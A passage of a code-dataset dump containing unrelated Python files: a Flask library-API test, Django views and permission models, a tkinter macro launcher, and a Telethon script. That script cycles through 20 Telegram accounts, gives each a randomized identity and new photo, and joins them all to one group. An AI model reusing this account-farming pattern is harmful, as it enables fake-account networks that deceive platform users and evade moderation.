vars(get_args())\n\n if args['sbatch_script'] is not None:\n slurm_launch(**args)\n else:\n multiprocessing_launch(**args)\n","sub_path":"{{ cookiecutter.repo_name }}/{{ cookiecutter.repo_name }}/scripts/launch_experiments.py","file_name":"launch_experiments.py","file_ext":"py","file_size_in_byte":7800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"142337437","text":"\"\"\"\nFunctional test\n\nFast Job Epic\n\nStoryboard is defined within the comments of the program itself\n\"\"\"\n\nimport unittest\nfrom flask import url_for\nfrom biblib.tests.stubdata.stub_data import UserShop, LibraryShop\nfrom biblib.tests.base import MockSolrQueryService, TestCaseDatabase, MockSolrBigqueryService, MockEndPoint\nimport json\n\nclass TestJobFastEpic(TestCaseDatabase):\n \"\"\"\n Base class used to test the Job Fast Epic\n \"\"\"\n\n def test_job_fast_epic(self):\n \"\"\"\n Carries out the epic 'Fast Job', where a user wants to add their articles to\n their private libraries so that they can send it on to a prospective\n employer\n\n :return: no return\n \"\"\"\n\n # Mary creates a private library and\n # 1. Gives it a name.\n # 2. Gives it a description.\n # 3. Makes it public to view.\n\n # Stub data\n user_mary = UserShop()\n user_random = UserShop()\n stub_library = LibraryShop(want_bibcode=True, public=True)\n\n self.assertIs(list, type(stub_library.get_bibcodes()))\n self.assertIs(list, type(stub_library.user_view_post_data['bibcode']))\n\n # Make the library and make it public to be viewed by employers\n url = url_for('userview')\n response = self.client.post(\n url,\n data=stub_library.user_view_post_data_json,\n headers=user_mary.headers\n )\n library_id = response.json['id']\n self.assertEqual(response.status_code, 200, response)\n self.assertTrue('bibcode' in response.json)\n self.assertTrue(response.json['name'] == stub_library.name)\n\n # She then asks a friend to check the link, and it works fine.\n url = url_for('libraryview', library=library_id)\n with MockSolrBigqueryService(\n canonical_bibcode=stub_library.bibcode) as BQ, \\\n MockEndPoint([user_mary]) as EP:\n response = self.client.get(\n url,\n headers=user_random.headers\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.json['documents']),\n len(stub_library.bibcode))\n\n # Accidentally tries to add the same bibcodes, but it does not work as\n # expected\n url = url_for('documentview', library=library_id)\n with MockSolrQueryService(canonical_bibcode = json.loads(stub_library.document_view_post_data_json('add')).get('bibcode')) as SQ:\n response = self.client.post(\n url,\n data=stub_library.document_view_post_data_json('add'),\n headers=user_mary.headers\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json['number_added'], 0)\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","sub_path":"biblib/tests/functional_tests/test_job_fast_epic.py","file_name":"test_job_fast_epic.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"224059876","text":"from django.shortcuts import render, redirect\nfrom django.core.urlresolvers import reverse\nimport random\n\ndef index(request):\n if 'word' not in request.session:\n return redirect(reverse('random_word_gen:create'))\n else:\n return render(request, 'random_word_gen/index.html')\n\ndef create(request):\n # initializes the number of random words generated\n if 'count' not in request.session:\n request.session['count'] = 1\n else:\n request.session['count'] += 1\n char = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n word = ''\n # grabs an index referencing a specific letter in the char list and\n # concatenates that letter with the rest of the word\n for num in range(14):\n index = random.randrange(26)\n word += char[index]\n request.session['word'] = word\n return redirect(reverse('random_word_gen:index'))\n","sub_path":"Django/multiple_apps_main/apps/random_word_gen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16842918","text":"# -*- coding: utf-8 -*-QS\nimport os\nimport sys\nimport spintax\nimport time\nfrom termcolor import colored\n\nfrom telethon.sync import TelegramClient\nfrom telethon.tl.functions.channels import JoinChannelRequest\nfrom telethon.tl.functions.photos import UploadProfilePhotoRequest\nfrom telethon.tl.functions.photos import DeletePhotosRequest\nfrom telethon.tl.functions.account import UpdateProfileRequest\nfrom telethon.tl.functions.account import UpdateUsernameRequest\n\nos.system('cls')\n\n\nacc = 1\napi_id = 1\napi_hash = '1'\n\ngroup = '@some_group'\n\n\ndef names():\n try:\n file = open(file='names.txt', mode='r', encoding='utf-8')\n names_list = file.read().splitlines()\n global names\n names = names_list.pop()\n except Exception as e:\n print(colored(f'Read file names.txt error: , {e}, file will close in 5 seconds!', 'red'))\n time.sleep(5)\n sys.exit()\n\n\ndef log():\n account = f'account{acc}'\n client = TelegramClient(account, api_id, api_hash)\n client.connect()\n if not client.is_user_authorized():\n print(colored(f'{account} is not authorized', 'red'))\n else:\n name = spintax.spin(names)\n print(name)\n print(account)\n try:\n client(UpdateProfileRequest(first_name=name))\n print(colored('Username changed successfully!', 'green'))\n\n except Exception as e:\n print(colored('Name substitution error', 'red'), e)\n try:\n client(UpdateProfileRequest(last_name=''))\n print(colored('Surname changed successfully!', 'green'))\n except Exception as e:\n print(colored('Surname substitution error:', 'red'), e)\n try:\n client(UpdateProfileRequest(about=''))\n print(colored('Bio deleted successfully!', 'green'))\n except Exception as e:\n print(colored('Bio deleted error:', 'red'), e)\n try:\n client(DeletePhotosRequest(client.get_profile_photos('me')))\n print(colored('Photos deleted successfully!', 'red'))\n except Exception as e:\n print(colored('Photos deleted error:', 'red'), e)\n pass\n try:\n client(UploadProfilePhotoRequest(\n client.upload_file(f'.\\\\photos\\\\photo{acc}.jpg'))\n )\n print(colored('Photo changed successfully!', 'green'))\n except Exception as e:\n print(colored('Photo substitution error:', 'red'), e)\n try:\n client(UpdateUsernameRequest(''))\n print(colored('Username deleted successfully!', 'green'))\n except Exception as e:\n print(colored('Username substitution error:', 'red'), e)\n try:\n client(JoinChannelRequest(group))\n print(colored('Join to channel successfully!'))\n except Exception as e:\n print(colored('Join to channel error:', 'red'), e)\n\n client.disconnect()\n print(colored('Go to next account', 'yellow'))\n\n\nnames()\nwhile acc <= 20:\n log()\n acc += 1\nelse:\n print(colored('Work done!', 'yellow'))\n sys.exit()\n","sub_path":"telethon/first_log.py","file_name":"first_log.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355381645","text":"import sqlite3\r\nimport tkinter as tk\r\nfrom tkinter import Button\r\nfrom tkinter import Listbox\r\nfrom tkinter import Scrollbar\r\nfrom tkinter import filedialog\r\nfrom tkinter import PhotoImage\r\nimport data_access as data\r\nfrom functools import partial\r\nimport os\r\nimport webbrowser\r\nimport time\r\n\r\n\r\nclass ViewGui(tk.Tk):\r\n\r\n def __init__(self):\r\n tk.Tk.__init__(self)\r\n self.database = data.DatabaseAccess(\"macro_database.db\")\r\n\r\n self.play_img = PhotoImage(file='assets\\img\\play.png')\r\n self.play_img = self.play_img.subsample(1)\r\n\r\n self.edit_img = PhotoImage(file='assets\\img\\edit.png')\r\n self.edit_img = self.edit_img.subsample(2)\r\n\r\n self.delete_img = PhotoImage(file='assets\\img\\del.png')\r\n self.delete_img = self.delete_img.subsample(1)\r\n\r\n self.button_width = 25\r\n self.button_height = 25\r\n\r\n if self.database.check_db() is True:\r\n pass\r\n else:\r\n exit()\r\n\r\n # Title\r\n self.title(\"Macro App\")\r\n self.iconbitmap('assets\\img\\icon.ico')\r\n hub = tk.Frame(self)\r\n hub.grid_columnconfigure(0,weight=1)\r\n hub.grid_rowconfigure(0, weight=1)\r\n hub.pack(side=tk.TOP,\r\n fill=tk.BOTH,\r\n expand=True)\r\n\r\n # Left Side container\r\n self.left_container = tk.Frame(hub, bg=\"gray\")\r\n self.left_container.pack(side=tk.LEFT,\r\n fill=\"both\")\r\n\r\n macro_group_label = tk.Label(self.left_container, text=\"Macro Groups\")\r\n macro_group_label.pack(side=tk.TOP,\r\n ipady=5,\r\n fill=\"x\")\r\n\r\n scroll_bar = Scrollbar(self.left_container)\r\n scroll_bar.pack(side=tk.RIGHT,\r\n fill=\"y\")\r\n\r\n self.marco_group_listbox = Listbox(self.left_container, yscrollcommand=scroll_bar.set)\r\n\r\n self.marco_group_listbox.pack(side=tk.TOP,\r\n fill=\"both\",\r\n expand=True)\r\n\r\n scroll_bar.config(command=self.marco_group_listbox.yview())\r\n macro_group_add_button = Button(self.left_container,\r\n text=\"(Create New Group)\",\r\n command=self.new_group)\r\n macro_group_add_button.pack(side=tk.TOP,\r\n fill=\"x\")\r\n\r\n self.populate_groups(self.marco_group_listbox)\r\n\r\n # Right Side\r\n self.macro_label = tk.Label(hub, text=\" \")\r\n self.macro_label.pack(side=tk.TOP,\r\n fill=\"x\",\r\n ipady=5)\r\n\r\n self.right_container = tk.Frame(hub)\r\n self.right_container.pack(side=tk.RIGHT,\r\n fill=tk.BOTH,\r\n expand=True)\r\n\r\n def populate_groups(self,frame):\r\n for groups in self.database.get_groups():\r\n groups_id = groups[0]\r\n group_name = groups[1]\r\n bound_display_records = partial(self.populate_records, groups_id)\r\n new_button = tk.Button(frame,\r\n text=f\"{group_name}\",\r\n command=bound_display_records)\r\n new_button.pack(fill=\"x\")\r\n\r\n def populate_records(self, id):\r\n for items in self.right_container.winfo_children():\r\n items.destroy()\r\n\r\n self.macro_label.config(text=f\"{self.database.find_group_name(id)[0]}\")\r\n\r\n # Apps\r\n app_frame = tk.Frame(self.right_container)\r\n app_frame.pack(side=tk.TOP,\r\n fill=\"x\",\r\n padx=10,\r\n pady=1)\r\n\r\n app_label = tk.Label(app_frame, text=\"Apps\")\r\n app_label.pack(side=tk.LEFT)\r\n\r\n bound_add_apps = partial(self.add_new_app, id)\r\n app_add_button = tk.Button(app_frame,\r\n text=\"+\",\r\n command=bound_add_apps)\r\n app_add_button.pack(side=tk.RIGHT)\r\n\r\n app_box = tk.Listbox(self.right_container)\r\n app_box.pack(side=tk.TOP,\r\n fill=\"x\",\r\n padx=10)\r\n\r\n db_results = self.database.get_records_by_type('A',id)\r\n for apps in db_results:\r\n seating_frame = tk.Frame(app_box)\r\n\r\n new_app_name = tk.Label(seating_frame, text=f\"{apps[1]}\")\r\n new_app_name.pack(side=tk.LEFT)\r\n\r\n bound_app_trigger = partial(self.activate_address,apps[0],id,apps[3])\r\n new_app_trigger = tk.Button(seating_frame, text=\"P\",\r\n image=self.play_img,\r\n height=self.button_width,\r\n width=self.button_height,\r\n command=bound_app_trigger)\r\n\r\n new_app_trigger.pack(side=tk.RIGHT)\r\n\r\n bound_edit_app = partial(self.edit_app, id, apps[0])\r\n new_app_edit = tk.Button(seating_frame,\r\n text=\"E\",\r\n image=self.edit_img,\r\n height=self.button_width,\r\n width=self.button_height,\r\n command=bound_edit_app)\r\n\r\n new_app_edit.pack(side=tk.RIGHT)\r\n\r\n bound_delete_app = partial(self.delete_record, id, apps[0])\r\n new_app_delete = tk.Button(seating_frame,\r\n text=\"X\",\r\n height=self.button_width,\r\n width=self.button_height,\r\n image=self.delete_img,\r\n command=bound_delete_app)\r\n new_app_delete.pack(side=tk.RIGHT)\r\n\r\n seating_frame.pack(side=tk.TOP, fill=\"x\")\r\n\r\n # Links\r\n link_frame = tk.Frame(self.right_container)\r\n link_frame.pack(side=tk.TOP,\r\n fill=\"x\",\r\n padx=10,\r\n pady=1)\r\n\r\n link_label = tk.Label(link_frame, text=\"Links\")\r\n link_label.pack(side=tk.LEFT)\r\n\r\n bound_add_links = partial(self.add_new_link, id)\r\n link_add_button = tk.Button(link_frame, text=\"+\", command=bound_add_links)\r\n link_add_button.pack(side=tk.RIGHT)\r\n\r\n link_box = tk.Listbox(self.right_container)\r\n link_box.pack(side=tk.TOP,\r\n fill=\"x\",\r\n padx=10)\r\n\r\n db_results = self.database.get_records_by_type('L', id)\r\n for links in db_results:\r\n seating_frame = tk.Frame(link_box)\r\n\r\n new_link_name = tk.Label(seating_frame, text=f\"{links[1]}\")\r\n new_link_name.pack(side=tk.LEFT)\r\n\r\n bound_link_trigger = partial(self.activate_address, links[0], id, links[3])\r\n new_link_trigger = tk.Button(seating_frame,text=\"P\",\r\n image=self.play_img,\r\n height=self.button_width,\r\n width=self.button_height,\r\n command=bound_link_trigger)\r\n new_link_trigger.pack(side=tk.RIGHT)\r\n\r\n bound_edit_link = partial(self.edit_link, id, links[0])\r\n new_link_edit = tk.Button(seating_frame,\r\n text=\"E\",\r\n image=self.edit_img,\r\n height=self.button_width,\r\n width=self.button_height,\r\n command=bound_edit_link)\r\n new_link_edit.pack(side=tk.RIGHT)\r\n\r\n bound_delete_link = partial(self.delete_record, id, links[0])\r\n new_link_delete = tk.Button(seating_frame,\r\n text=\"X\",\r\n image=self.delete_img,\r\n height=self.button_width,\r\n width=self.button_height,\r\n command=bound_delete_link)\r\n new_link_delete.pack(side=tk.RIGHT)\r\n\r\n seating_frame.pack(side=tk.TOP, fill=\"x\")\r\n\r\n # Settings\r\n setting_frame = tk.Frame(self.right_container)\r\n setting_label=tk.Label(setting_frame, text=\"Settings\")\r\n setting_label.pack()\r\n\r\n bound_trigger = partial(self.edit_group,id)\r\n edit_group_name = tk.Button(setting_frame,\r\n text=\"Edit Group Name\",\r\n command = bound_trigger)\r\n edit_group_name.pack()\r\n\r\n bound_trigger = partial(self.activate_group_address, id, 'A')\r\n trigger_all_apps = tk.Button(setting_frame,\r\n text=\"Trigger all applications\",\r\n command=bound_trigger)\r\n trigger_all_apps.pack()\r\n\r\n bound_trigger = partial(self.activate_group_address, id, 'L')\r\n trigger_all_links = tk.Button(setting_frame,\r\n text=\"Trigger all links\",\r\n command=bound_trigger)\r\n trigger_all_links.pack()\r\n\r\n bound_trigger = partial(self.delete_group,id)\r\n remove_group = tk.Button(setting_frame,\r\n text=\"Delete this group\",\r\n command=bound_trigger)\r\n remove_group.pack()\r\n\r\n setting_frame.pack()\r\n\r\n def new_group(self):\r\n new_macro = tk.Toplevel()\r\n new_macro.grab_set()\r\n new_macro.title(\"Add macro\")\r\n new_macro.minsize(250, 100)\r\n new_macro.maxsize(450, 300)\r\n name_label = tk.Label(new_macro, text=\"Name:\")\r\n status_label = tk.Label(new_macro, text=\"\")\r\n name_entry = tk.Entry(new_macro)\r\n name_label.pack()\r\n name_entry.pack()\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and self.database.check_group_by_name(name_entry.get()) is not True:\r\n self.database.add_group(name_entry.get())\r\n self.refresh_groups()\r\n new_macro.destroy()\r\n else:\r\n status_label.config(text=\"Name is missing or group already exist\")\r\n\r\n finalize_button = tk.Button(new_macro, text=\"Finish\", command=validate_button)\r\n finalize_button.pack()\r\n\r\n def refresh_records(self, group_id):\r\n for items in self.right_container.winfo_children():\r\n items.destroy()\r\n\r\n if group_id > -1:\r\n self.populate_records(group_id)\r\n else:\r\n self.macro_label.config(text=\"\")\r\n\r\n def refresh_groups(self):\r\n for items in self.marco_group_listbox.winfo_children():\r\n items.destroy()\r\n self.populate_groups(self.marco_group_listbox)\r\n\r\n def add_new_app(self, group_id):\r\n new_app_window = tk.Toplevel()\r\n new_app_window.grab_set()\r\n new_app_window.title(\"New App\")\r\n new_app_window.minsize(250, 100)\r\n new_app_window.maxsize(450, 300)\r\n\r\n name_label = tk.Label(new_app_window, text=\"Name:\")\r\n dir_label = tk.Label(new_app_window, text=\"program path:\")\r\n status_label = tk.Label(new_app_window, text=\"\")\r\n\r\n name_entry = tk.Entry(new_app_window)\r\n\r\n def add_app_address(entry_text):\r\n filename = filedialog.askopenfilename(initialdir=\"/\",\r\n title=\"Select File\",\r\n filetypes=((\"executables\", \"*exe\"), (\"all files\", \"*\")))\r\n app_path = os.path.basename(filename)\r\n\r\n if app_path != '' and app_path != \"\\n\":\r\n entry_text.set(filename)\r\n\r\n dir_frame = tk.Frame(new_app_window)\r\n dir_address = tk.StringVar()\r\n bound_app_address = partial(add_app_address,dir_address)\r\n dir_entry = tk.Entry(dir_frame, textvariable=dir_address)\r\n dir_button = tk.Button(dir_frame, text=\">\",command=bound_app_address)\r\n\r\n name_label.pack()\r\n name_entry.pack()\r\n\r\n dir_label.pack()\r\n dir_frame.pack()\r\n dir_entry.pack(side=tk.LEFT)\r\n dir_button.pack(side=tk.RIGHT)\r\n\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and \\\r\n self.database.check_record(group_id, dir_entry.get()) is not True:\r\n self.database.add_record(name_entry.get(), group_id, 'A', dir_entry.get())\r\n self.refresh_records(group_id)\r\n new_app_window.destroy()\r\n else:\r\n status_label.config(text=\"Name or path for application is missing or already exist in this macro group\")\r\n\r\n finalize_button = tk.Button(new_app_window, text=\"Finish\", command=validate_button)\r\n finalize_button.pack(ipadx=5)\r\n\r\n def add_new_link(self, group_id):\r\n new_link_window = tk.Toplevel()\r\n new_link_window.grab_set()\r\n new_link_window.title(\"New link\")\r\n new_link_window.minsize(250, 100)\r\n new_link_window.maxsize(450, 300)\r\n\r\n name_label = tk.Label(new_link_window, text=\"Name:\")\r\n dir_label = tk.Label(new_link_window, text=\"url path:\")\r\n status_label = tk.Label(new_link_window, text=\"\")\r\n name_entry = tk.Entry(new_link_window)\r\n dir_entry = tk.Entry(new_link_window)\r\n name_label.pack()\r\n name_entry.pack()\r\n dir_label.pack()\r\n dir_entry.pack()\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and \\\r\n self.database.check_record(group_id, dir_entry.get()) is not True:\r\n self.database.add_record(name_entry.get(), group_id, 'L', dir_entry.get())\r\n self.refresh_records(group_id)\r\n new_link_window.destroy()\r\n else:\r\n status_label.config(text=\"Name or path for the link is missing or already exist in this macro group\")\r\n\r\n finalize_button = tk.Button(new_link_window, text=\"Finish\", command=validate_button)\r\n finalize_button.pack(ipadx=5)\r\n\r\n def edit_app(self, group_id, id):\r\n new_top_window = tk.Toplevel()\r\n new_top_window.grab_set()\r\n\r\n db_result = self.database.get_record(id,group_id)\r\n name = db_result[0][1]\r\n address = db_result[0][4]\r\n\r\n new_top_window.title(f\"Editing {name}\")\r\n new_top_window.minsize(350, 200)\r\n\r\n entry_name = tk.StringVar()\r\n entry_name.set(name)\r\n\r\n entry_address = tk.StringVar()\r\n entry_address.set(address)\r\n\r\n name_label = tk.Label(new_top_window, text=\"Name:\")\r\n name_entry = tk.Entry(new_top_window,textvariable=entry_name)\r\n\r\n dir_label = tk.Label(new_top_window, text=\"program path:\")\r\n dir_frame = tk.Frame(new_top_window)\r\n dir_entry = tk.Entry(dir_frame, textvariable=entry_address)\r\n dir_entry.pack(side=tk.LEFT)\r\n\r\n def add_app_address(entry_text):\r\n filename = filedialog.askopenfilename(initialdir=\"/\",\r\n title=\"Select File\",\r\n filetypes=((\"executables\", \"*exe\"), (\"all files\", \"*\")))\r\n app_path = os.path.basename(filename)\r\n\r\n if app_path != '' and app_path != \"\\n\":\r\n entry_text.set(filename)\r\n\r\n bound_app_address = partial(add_app_address,entry_address)\r\n dir_entry_button = tk.Button(dir_frame, text=\"O\",command=bound_app_address)\r\n dir_entry_button.pack(side=tk.RIGHT)\r\n\r\n status_label = tk.Label(new_top_window, text=\"\")\r\n\r\n name_label.pack()\r\n name_entry.pack()\r\n dir_label.pack()\r\n dir_frame.pack()\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and dir_entry.get() != '' and dir_entry.get() != '\\n':\r\n self.database.edit_record_address(id, group_id,dir_entry.get())\r\n self.database.edit_record_name(id, group_id,name_entry.get())\r\n self.refresh_groups()\r\n new_top_window.destroy()\r\n else:\r\n status_label.config(text=\"Name or address already exist or is empty\")\r\n finalize_button = tk.Button(new_top_window, text=\"Finish\", command=validate_button)\r\n finalize_button.pack(ipadx=5)\r\n\r\n def edit_link(self, group_id, id):\r\n new_top_window = tk.Toplevel()\r\n new_top_window.grab_set()\r\n db_result = self.database.get_record(id, group_id)\r\n name = db_result[0][1]\r\n address = db_result[0][4]\r\n entry_name = tk.StringVar()\r\n entry_name.set(name)\r\n entry_address = tk.StringVar()\r\n entry_address.set(address)\r\n new_top_window.title(f\"Editing {name}\")\r\n new_top_window.minsize(350, 200)\r\n name_label = tk.Label(new_top_window, text=\"Name:\")\r\n dir_label = tk.Label(new_top_window, text=\"program path:\")\r\n status_label = tk.Label(new_top_window, text=\"\")\r\n name_entry = tk.Entry(new_top_window,\r\n textvariable=entry_name)\r\n dir_entry = tk.Entry(new_top_window,\r\n textvariable=entry_address)\r\n name_label.pack()\r\n name_entry.pack()\r\n dir_label.pack()\r\n dir_entry.pack()\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and dir_entry.get() != '' and dir_entry.get() != '\\n':\r\n self.database.edit_record_address(id, group_id, dir_entry.get())\r\n self.database.edit_record_name(id, group_id, name_entry.get())\r\n self.refresh_groups()\r\n new_top_window.destroy()\r\n else:\r\n status_label.config(text=\"Name or address already exist or is empty\")\r\n finalize_button = tk.Button(new_top_window, text=\"Finish\", command=validate_button)\r\n finalize_button.pack(ipadx=5)\r\n\r\n def edit_group(self, group_id):\r\n new_top_window = tk.Toplevel()\r\n new_top_window.grab_set()\r\n name = self.database.find_group_name(group_id)[0]\r\n new_top_window.title(f\"{name}\")\r\n new_top_window.minsize(250, 100)\r\n new_top_window.maxsize(450, 300)\r\n\r\n name_label = tk.Label(new_top_window, text=\"Name:\")\r\n name_var = tk.StringVar()\r\n name_var.set(name)\r\n name_entry = tk.Entry(new_top_window,textvariable=name_var)\r\n name_label.pack()\r\n name_entry.pack()\r\n\r\n status_label = tk.Label(new_top_window, text=\"\")\r\n status_label.pack()\r\n\r\n def validate_button():\r\n if name_entry.get() != '' and name_entry.get() != '\\n' and self.database.check_group_by_name(name_entry.get()) is not True:\r\n self.database.edit_group_name(group_id,name_entry.get())\r\n self.refresh_groups()\r\n new_top_window.destroy()\r\n else:\r\n status_label.config(text=\"Group name already exist or is empty\")\r\n\r\n finalize_button = tk.Button(new_top_window, text=\"Finish\", command=validate_button)\r\n finalize_button.pack(ipadx=5)\r\n\r\n def delete_record(self,group_id, id):\r\n self.database.delete_record(id, group_id)\r\n self.refresh_records(group_id)\r\n\r\n def activate_address(self, id, group_id, type):\r\n if type == 'A':\r\n record = self.database.get_record(id,group_id)\r\n os.startfile(record[0][4])\r\n elif type == 'L':\r\n record = self.database.get_record(id, group_id)\r\n webbrowser.open(record[0][4])\r\n else:\r\n print(f\"{type} has not been implemented\")\r\n\r\n def activate_group_address(self, group_id, type):\r\n if type == 'A':\r\n records = self.database.get_records_by_type(type,group_id)\r\n for app in records:\r\n os.startfile(app[4])\r\n elif type == 'L':\r\n records = self.database.get_records_by_type(type, group_id)\r\n for link in records:\r\n webbrowser.open(link[4])\r\n time.sleep(2)\r\n else:\r\n pass\r\n\r\n def delete_group(self, id):\r\n self.database.delete_group(id)\r\n self.refresh_groups()\r\n self.refresh_records(-1)\r\n\r\n\r\nview = ViewGui()\r\nview.minsize(550, 350)\r\nview.mainloop()\r\n","sub_path":"src/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":20867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"498135433","text":"from django.contrib.gis.db import models\nfrom django.contrib.auth.models import User\nfrom localground.apps.site.models import Base\nfrom datetime import datetime\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes import fields\nfrom django.conf import settings\n\n\nclass BasePermissions(models.Model):\n\n \"\"\"\n Abstract base class for media groups (Project and View objects).\n \"\"\"\n access_authority = models.ForeignKey('ObjectAuthority',\n db_column='view_authority',\n verbose_name='Sharing')\n access_key = models.CharField(max_length=16, null=True, blank=True)\n users = fields.GenericRelation('UserAuthorityObject')\n\n def _has_user_permissions(self, user, authority_id):\n # anonymous or null users don't have user-level permissions:\n if user is None or not user.is_authenticated():\n return False\n\n # object owners have blanket view/edit/manage user-level permissions:\n if self.owner == user:\n return True\n\n # users with privileges which are greater than or equal to\n # the authority_id have user-level permisisons:\n return len(self.users\n .filter(user=user)\n .filter(authority__id__gte=authority_id)\n ) > 0\n\n def can_view(self, user=None, access_key=None):\n # projects and views marked as public are viewable:\n if self.access_authority.id == ObjectAuthority.PUBLIC:\n return True\n\n # projects and views marked as \"PUBLIC_WITH_LINK\" that provide\n # the correct access_key are viewable:\n elif self.access_authority.id == ObjectAuthority.PUBLIC_WITH_LINK \\\n and self.access_key == access_key:\n return True\n\n # projects which are accessible by the user are viewable:\n else:\n return self._has_user_permissions(user, UserAuthority.CAN_VIEW)\n\n def can_edit(self, user):\n return self._has_user_permissions(user, UserAuthority.CAN_EDIT)\n\n def can_manage(self, user):\n return self._has_user_permissions(user, UserAuthority.CAN_MANAGE)\n\n def share_url(self):\n return '/profile/{0}/{1}/share/'.format(\n self.model_name_plural,\n self.id)\n\n class Meta:\n abstract = True\n app_label = 'site'\n\n\nclass ObjectAuthority(models.Model):\n\n \"\"\"\n Describes the permissions configuration of any class inheriting from\n BasePermissions (either private, public-with-key, or public)\n \"\"\"\n PRIVATE = 1\n PUBLIC_WITH_LINK = 2\n PUBLIC = 3\n\n name = models.CharField(max_length=255, blank=True)\n description = models.CharField(max_length=1000, blank=True, null=True)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n app_label = 'site'\n\n\nclass UserAuthority(models.Model):\n\n \"\"\"\n Used in conjunction with ObjectAuthority to assign user-level permissions\n (special cases) which are beyond the group's baseline permissions. There\n are 3 user-level permissions statuses: \"can view,\" \"can edit,\" and\n \"can manage.\"\n \"\"\"\n CAN_VIEW = 1\n CAN_EDIT = 2\n CAN_MANAGE = 3\n\n name = models.CharField(max_length=255, blank=True)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n app_label = 'site'\n\n\nclass UserAuthorityObject(models.Model):\n\n \"\"\"\n Model that assigns a particular User (auth_user) and UserAuthority object to\n a particular Group.\n \"\"\"\n user = models.ForeignKey(settings.AUTH_USER_MODEL)\n authority = models.ForeignKey('UserAuthority')\n time_stamp = models.DateTimeField(default=datetime.now)\n granted_by = models.ForeignKey(\n 'auth.User',\n related_name=\"%(app_label)s_%(class)s_related\")\n\n # Following fields are required for using GenericForeignKey\n content_type = models.ForeignKey(ContentType)\n object_id = models.PositiveIntegerField()\n object = fields.GenericForeignKey()\n\n def to_dict(self):\n return {\n 'username': self.auth_user.username,\n 'authority_id': self.authority.id,\n 'authority': self.authority.name\n }\n\n def __unicode__(self):\n return self.user.username\n\n # Leveraging parent project / snapshot's can_edit function\n def can_view(self, user, access_key=None):\n # to view someone else's privs, you need edit privs:\n return self.object.can_edit(user) or self.user == user\n\n def can_edit(self, user, authority_id):\n # deletegate to can_manage:\n return self.object.can_manage(user) or \\\n (self.user == user and self.authority.id > authority_id)\n\n def can_delete(self, user):\n return self.object.can_manage(user) or self.user == user\n\n class Meta:\n app_label = 'site'\n\n\nclass ObjectUserPermissions(models.Model):\n user = models.ForeignKey(settings.AUTH_USER_MODEL,\n db_column='user_id', on_delete=models.DO_NOTHING)\n user_authority = models.ForeignKey(\n 'UserAuthority',\n db_column='authority_id',\n on_delete=models.DO_NOTHING)\n\n class Meta:\n abstract = True\n app_label = 'site'\n\n\nclass AudioUser(ObjectUserPermissions):\n audio = models.ForeignKey(\n 'Audio',\n db_column='audio_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_audio'\n\n\nclass PhotoUser(ObjectUserPermissions):\n photo = models.ForeignKey(\n 'Photo',\n db_column='photo_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_photos'\n\n\nclass VideoUser(ObjectUserPermissions):\n video = models.ForeignKey(\n 'Video',\n db_column='video_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_videos'\n\n\nclass MarkerUser(ObjectUserPermissions):\n marker = models.ForeignKey(\n 'Marker',\n db_column='marker_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_markers'\n\n\nclass PrintUser(ObjectUserPermissions):\n print_obj = models.ForeignKey(\n 'Print',\n db_column='print_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_prints'\n\nclass MapImageUser(ObjectUserPermissions):\n mapimage = models.ForeignKey(\n 'MapImage',\n db_column='mapimage_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_mapimages'\n\n\nclass SnapshotUser(ObjectUserPermissions):\n snapshot = models.ForeignKey(\n 'Snapshot',\n db_column='snapshot_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_views'\n\n\nclass ProjectUser(ObjectUserPermissions):\n project = models.ForeignKey('Project', db_column='project_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_projects'\n\n\nclass FormUser(ObjectUserPermissions):\n form = models.ForeignKey('Form', db_column='form_id',\n on_delete=models.DO_NOTHING,\n related_name='authuser')\n\n class Meta:\n app_label = 'site'\n managed = False\n db_table = 'v_private_forms'\n\n\nclass PresentationUser(ObjectUserPermissions):\n presentation = models.ForeignKey(\n 'Presentation',\n db_column='presentation_id',\n on_delete=models.DO_NOTHING,\n 